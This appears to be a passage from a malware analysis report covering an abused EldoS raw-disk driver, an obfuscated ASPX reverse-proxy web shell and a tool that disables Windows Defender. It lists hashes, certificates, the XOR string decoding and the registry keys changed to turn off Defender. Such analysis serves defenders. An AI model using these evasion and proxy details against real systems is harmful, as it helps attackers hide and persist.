If the registry key value HKLM\SOFTWARE\EldoS\EventLog is set to “Enabled”, the install will generate an event log if at any time the install produces an error. This log contains an error code DWORD followed by the string ..\..\DriverLibraries\DrvSupLib\install.c. If the system does not have the SOFTWARE\EldoS key, no event logs would be produced. This feature must be a related to the legitimate EldoS utility. 

rwdsk.sys is a “legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer’s hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.”

File Details



File Size

142.5 KB (145920 bytes)








3072:vv2ADi7yOcE/YMBSZ0fZX4kpK1OhJrDwM:vv2jeQ/flfZbKM (Ver 1.1)


PE32+ executable (console) x86-64, for MS Windows

PE Header Timestamp

2022-07-15 13:26:28






File Size

38.84 KB (39776 bytes)








768:E31ySCpoCbXnfDbEaJSooKIDyE9aBazWlEAusxsia:0gyCb3MFKIHO4Ausxta (Ver 1.1)


PE32+ executable (native) x86-64, for MS Windows



PE Header Timestamp

2016-03-18 14:44:54



Cert #0 Subject

CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US

Cert #0 Issuer

CN=VeriSign Time Stamping Services CA, O=VeriSign, Inc., C=US

Cert #0 SHA1


Cert #1 Subject

C=US, ST=California, L=SANTA CLARA, O=NVIDIA Corporation, CN=NVIDIA Corporation

Cert #1 Issuer

C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at (c)10, CN=VeriSign Class 3 Code Signing 2010 CA

Cert #1 SHA1


Cert #2 Subject

C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. – For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority – G5

Cert #2 Issuer

C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Microsoft Code Verification Root

Cert #2 SHA1


Cert #3 Subject

C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at (c)10, CN=VeriSign Class 3 Code Signing 2010 CA

Cert #3 Issuer

C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=(c) 2006 VeriSign, Inc. – For authorized use only, CN=VeriSign Class 3 Public Primary Certification Authority – G5

Cert #3 SHA1



Additional Files

Web Deployed Reverse Proxy


ClientBin.aspx is an ASP file that contains a Base64 encoded .Net executable (App_Web_bckwssht.dll) that it decodes and loads via Reflection. The .Net executable contains Class and Method obfuscation and internal strings are encoded with a single byte XOR obfuscation.

public static string hair_school_bracket()
            return Umbrella_admit_arctic.rebel_sadreporthospital(“460F2830272A2F2266052928202F21661627252D27212368”);  //Invalid Config Package.

public static string Visual_math_already()
       return Umbrella_admit_arctic.rebel_sadreporthospital(“5304057E0116001607”);   //WV-RESET

The method rebel_sadreporthospital takes the first byte of the encoded string and XOR’s each subsequent byte to produce the de-obfuscated string.

When run in context of an IIS web server connecting to the ASPX file will generate a 200 <Encryption DLL Info> 1.5 output.

Initial connection

The hex string represents the following ASCII text:

Base64, Version=, Culture=neutral, PublicKeyToken=null

Sending a POST request with a Base64 encoded IP and port will open a second socket to the supplied IP and port making this a Web proxy. 

Second Socket Opened from POST Request

Sending a request to WV-RESET with a value will produce an OK response and call a function to shut down the proxy socket.

Terminate socket

The DLL extracts a secondary “EncryptionDLL” named Base64.dll which is loaded via Assembly.Load. This exposes two functions, encrypt and decrypt. This DLL is used to decrypt the Proxy IP and port along with data. In this instance the class name is misspelled Bsae64, which is also reflected in the calling DLLs decoded strings. It is uncertain as to why an additional Base64.dll binary is extracted when the same encoding could be hard coded in the original DLL. It is possible other versions of this tool utilize differing “EncryptionDLL” binaries.

Misspelled Class Name
Called Misspelled Name

File Details



File Size

55.24 KB (56561 bytes)








768:x9TfK6nOgo5zE/cezUijAwZIFxK1mGjncrF8EAZ0iBDZBZdywb0DwHN4N4wjMxr8:x9TfdOgAi2 (Ver 1.1)


HTML document text, ASCII text, with very long lines (56458)




File Size

41.0 KB (41984 bytes)








384:coY4jnD7l9VAk1dtrGBlLGYEX1tah8dgNyamGOvMTfdYN5qZAsP:hlXAkHRGBlUUh8cFmpv6feYLP (Ver 1.1)


PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows



PE Header Timestamp

2021-06-07 10:37:55



Disable Defender


disable_defender.exe is a Microsoft Windows PE file that attempts to disable Windows Defender. The application will elevate privileges to that of SYSTEM and then attempt to disable Defender’s core functions. A command prompt with status and error messages is displayed as the application executes. No network activity was detected during the evaluation.

Upon execution, a command prompt is launched and a message is displayed if the process is not running as SYSTEM. The process is then restarted with the required permissions.

Test validate permissions

The application will attempt to terminate the Windows Defender process by calling TerminateProcess for smartscreen.exe:

Attempt to kill Windows Defender

The following Registry Keys were modified to disable Windows Defender:

Set Registry Values (observed Win10 1709)


HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection 



HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware 


03 00 00 00 5D 02 00 00 41 3B 47 9D 

HKLM\SOFTWARE\Microsoft\Windows Defender\DisableAntiSpyware 


HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\

Upon completion and if successful the application will display the following messages and wait for user input.

User Input



File Size

292.0 KB (299008 bytes)








6144:t2WhikbJZc+Wrbe/t1zT/p03BuGJ1oh7ISCLun:t2WpZnW+/tVoJ1ouQ (Ver 1.1)


PE32+ executable (console) x86-64, for MS Windows



PE Header Timestamp

2021-10-24 15:07:32